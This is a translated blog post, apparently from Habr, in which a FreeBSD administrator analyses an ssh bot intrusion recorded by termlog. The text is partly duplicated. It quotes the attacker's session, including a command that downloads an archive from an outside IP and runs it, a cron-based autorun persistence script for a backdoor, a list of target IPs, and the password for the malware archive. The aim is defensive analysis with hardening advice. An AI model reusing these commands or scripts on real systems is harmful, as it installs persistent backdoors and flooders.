Server malware or why ssh loggers are needed
Good day. I want to tell you about the usefulness of ssh loggers.
As a server system, I prefer to use FreeBSD. And, as a rule, I install termlog - a system utility for logging ssh-sessions of all users. Unfortunately, now in version 9, termlog is marked as broken, because utmp was considered obsolete and replaced with utmpx, therefore termlog works only on version 8 with a small source edit:
File fileops.c function snp_setup
Let's still hope that termlog will be rewritten for version 9, because it is a very useful utility. And that's why. Once on a test server that had a dyndns address and was used for experiments, I installed termlog and created a test user with a password test, which I checked termlog work for, and then I forgot about this user safely. After some time, I discovered a recorded test user ssh session, about which no one except me knew:
So what was it? Obviously, a certain bot walks across the Internet and tries to connect to servers with an open 22 port using simple login, password pairs like test, test or user, pass. And I have to admit, he did it. He guessed the username and password of a user I had accidentally forgotten and managed to log in. What did he do next? First of all, he changed the password for the user test, and prepared for himself the directory "..."
After that, I downloaded kde, unpacked it and tried to launch the unpacked one.
As you might have guessed, there was not a kde at all, but something much less innocuous. When unpacking this archive, Miscrosoft Security Essentials found 4 threats:
Backdoor, flooder and DoS threats! And on the first one I couldn’t google anything. Not weak, now we will understand how it is implemented in the system.
Apparently everything starts from here - ./start.sh
Here 2 autorun scripts are called that automate the launch and the actual launch itself - run.
Take a look at ./autorun
First, the bot for some reason uses the dir file as a buffer to get the absolute address to the current directory in the dir variable. Although you could just use dir = `pwd`, perhaps the dir file is used somewhere else by some other script to get the current directory.
Then he writes to the cron file the task of constantly running the update script, zeroing the output of errors and reports, and adds this task file to the cron scheduler.
After that, it also checks if the task has been added.
Apparently the session is written on the other side, and someone is looking at the success of the implementation. Or is it all somehow automated?
And now the bot generates an update script that runs the run script if it is not running and if it has already been started, it multiplies by sending the CHILD signal to the main process. The task specifies the time * * * * *, therefore every minute a new child process will be formed.
The run script contains a call to crond, which appears to run all backdoors, flooders, and other bad things from the kde folder and is a binary file. Antivirus swears precisely on the file stealth.
But this line from the ssh session log makes it clear that the bot was mistaken in the syntax. Apparently the script has not been tested on FreeBSD 8 and uses shell commands in the binary file.
I also noticed a bang.txt file in which there was a list of ip addresses with ports of the form:
Most likely this is a list of targets for DoS or Flood attacks. See kde.tgz (the password from the archive is habr), if anyone is interested in downloading and watching, maybe the ip address of your server is also listed.
Let's sum up
')
I intend to continue the cycle of articles on this topic by reviewing ssh loggers for different unix systems and writing a server antivirus that will intercept calls to the file system through the kernel and check for changes, notify / block / backup the infected file.
The solution for termlog source editing was found at forum.lissyara.su
As a server system, I prefer to use FreeBSD. And, as a rule, I install termlog - a system utility for logging ssh-sessions of all users. Unfortunately, now in version 9, termlog is marked as broken, because utmp was considered obsolete and replaced with utmpx, therefore termlog works only on version 8 with a small source edit:
File fileops.c function snp_setup
+ logname[rindex(logname,'/')-logname] = 'D'; sm->fp= fopen(logname, "w"); Let's still hope that termlog will be rewritten for version 9, because it is a very useful utility. And that's why. Once on a test server that had a dyndns address and was used for experiments, I installed termlog and created a test user with a password test, which I checked termlog work for, and then I forgot about this user safely. After some time, I discovered a recorded test user ssh session, about which no one except me knew:
;; Session started: 2012-01-09 16:52:36.811241 ;; Username: test ;; TTY line: pts/0 $ w 7:52PM up 1 day, 4:07, 1 user, load averages: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE WHAT test pts/0 techsrv-kvm.vpsh 7:52PM - w $ passwd Changing local password for test Old Password: New Password: Retype New Password: $ cd /var/tmp $ ls -a . .. vi.recover $ mkdir ... $ cd ... $ $ wget http://85.112.29.165/kde.tgz ; tar zxvf kde.tgz ; rm -rf kde.tgz ; cd .kde ; chmod +x * ; ./start.sh --2012-01-09 19:56:12-- http://85.112.29.165/kde.tgz Connecting to 85.112.29.165:80... connected. HTTP request sent, awaiting response... 200 OK Length: 218392 (213K) [application/x-gzip] Saving to: `kde.tgz' 0% [ ] 0 --.-K/s 4% [> ] 9,544 36.9K/s 11% [===> ] 24,988 48.2K/s 22% [=======> ] 48,856 63.1K/s 39% [==============> ] 86,764 83.9K/s 58% [=====================> ] 127,480 99.1K/s 72% [===========================> ] 158,368 102K/s 76% [============================> ] 166,792 91.8K/s 80% [==============================> ] 176,620 86.7K/s 94% [===================================> ] 206,104 90.7K/s 100%[======================================>] 218,392 95.3K/s in 2.2s 2012-01-09 19:56:15 (95.3 KB/s) - `kde.tgz' saved [218392/218392] x .kde/ x .kde/1 x .kde/autorun x .kde/b x .kde/b2 x .kde/bang.txt x .kde/cron x .kde/crond x .kde/dir x .kde/f x .kde/f4 x .kde/fwd x .kde/j x .kde/j2 x .kde/mech.help x .kde/mech.set x .kde/run x .kde/s x .kde/sl x .kde/start.sh x .kde/std x .kde/stealth x .kde/stream x .kde/talk x .kde/tty x .kde/update x .kde/v2 x .kde/x ./start.sh: /#bin/bash: not found * * * * * /var/tmp/.../.kde/update >/dev/null 2>&1 ELF binary type "0" not known. crond: 1: Syntax error: "(" unexpected $ rm -rf * $ cd .. $ ls -a . .. .kde $ rm -rf .kde $ w 7:56PM up 1 day, 4:11, 1 user, load averages: 0.22, 0.07, 0.02 USER TTY FROM LOGIN@ IDLE WHAT test pts/0 techsrv-kvm.vpsh 7:52PM - w $ exit So what was it? Obviously, a certain bot walks across the Internet and tries to connect to servers with an open 22 port using simple login, password pairs like test, test or user, pass. And I have to admit, he did it. He guessed the username and password of a user I had accidentally forgotten and managed to log in. What did he do next? First of all, he changed the password for the user test, and prepared for himself the directory "..."
$ passwd $ cd /var/tmp $ ls -a . .. vi.recover $ mkdir ... $ cd ... After that, I downloaded kde, unpacked it and tried to launch the unpacked one.
wget http://85.112.29.165/kde.tgz ; tar zxvf kde.tgz ; rm -rf kde.tgz ; cd .kde ; chmod +x * ; ./start.sh As you might have guessed, there was not a kde at all, but something much less innocuous. When unpacking this archive, Miscrosoft Security Essentials found 4 threats:
- Linux / Xhide.E
- Linux / Small.B
- Linux / Slice.A
- Perl / Shellbot.S
Backdoor, flooder and DoS threats! And on the first one I couldn’t google anything. Not weak, now we will understand how it is implemented in the system.
Apparently everything starts from here - ./start.sh
/#bin/bash ./autorun ./run Here 2 autorun scripts are called that automate the launch and the actual launch itself - run.
Take a look at ./autorun
#!/bin/sh pwd > dir dir=$(cat dir) echo "* * * * * $dir/update >/dev/null 2>&1" > cron crontab cron crontab -l | grep update echo "#!/bin/sh if test -r $dir/mech.pid; then pid=\$(cat $dir/mech.pid) if \$(kill -CHLD \$pid >/dev/null 2>&1) then exit 0 fi fi cd $dir ./run &>/dev/null" > update chmod u+x update First, the bot for some reason uses the dir file as a buffer to get the absolute address to the current directory in the dir variable. Although you could just use dir = `pwd`, perhaps the dir file is used somewhere else by some other script to get the current directory.
pwd > dir dir=$(cat dir) Then he writes to the cron file the task of constantly running the update script, zeroing the output of errors and reports, and adds this task file to the cron scheduler.
echo "* * * * * $dir/update >/dev/null 2>&1" > cron crontab cron After that, it also checks if the task has been added.
crontab -l | grep update Apparently the session is written on the other side, and someone is looking at the success of the implementation. Or is it all somehow automated?
And now the bot generates an update script that runs the run script if it is not running and if it has already been started, it multiplies by sending the CHILD signal to the main process. The task specifies the time * * * * *, therefore every minute a new child process will be formed.
echo "#!/bin/sh if test -r $dir/mech.pid; then pid=\$(cat $dir/mech.pid) if \$(kill -CHLD \$pid >/dev/null 2>&1) then exit 0 fi fi cd $dir ./run &>/dev/null" > update chmod u+x update The run script contains a call to crond, which appears to run all backdoors, flooders, and other bad things from the kde folder and is a binary file. Antivirus swears precisely on the file stealth.
#!/bin/sh export PATH=. Crond But this line from the ssh session log makes it clear that the bot was mistaken in the syntax. Apparently the script has not been tested on FreeBSD 8 and uses shell commands in the binary file.
ELF binary type "0" not known. crond: 1: Syntax error: "(" unexpected I also noticed a bang.txt file in which there was a list of ip addresses with ports of the form:
62.231.97.194:25 193.226.151.44:80 81.196.51.19:1025 193.231.212.123:80 80.97.145.79:80 81.196.102.250:443 81.196.119.21:1025 Most likely this is a list of targets for DoS or Flood attacks. See kde.tgz (the password from the archive is habr), if anyone is interested in downloading and watching, maybe the ip address of your server is also listed.
Let's sum up
- Using ssh loggers can be very useful. If your server has been hacked, then you can find out how they did it and close the hole. An attacker may, of course, rub the ssh session log, but it is unlikely that he will spend time on it. In addition, if it is also a bot.
- Server malware is no less dangerous for clients, since they uncompress unix servers and use them for their dirty purposes.
- Observe basic security rules - use ssh-keys or brute-resistant passwords, in case you need to use passwords, and change them periodically.
- Use a good antivirus or OS not windows family. Many hosting sites for ftp and ssh use the same account. Thus, if you have a trojan on your computer, then it can steal your login and password from your server from the ftp manager and the attacker will be able to use it to successfully log in ssh, but what happens next, I think so it’s understandable.
- Check the list of tasks assigned to cron, init.d, rc.d, etc. on your server. It may well be that your server is zombie, and you do not know about it.
- Delete test accounts when they are no longer needed.
')
I intend to continue the cycle of articles on this topic by reviewing ssh loggers for different unix systems and writing a server antivirus that will intercept calls to the file system through the kernel and check for changes, notify / block / backup the infected file.
The solution for termlog source editing was found at forum.lissyara.su
Source: https://habr.com/ru/post/141872/
All Articles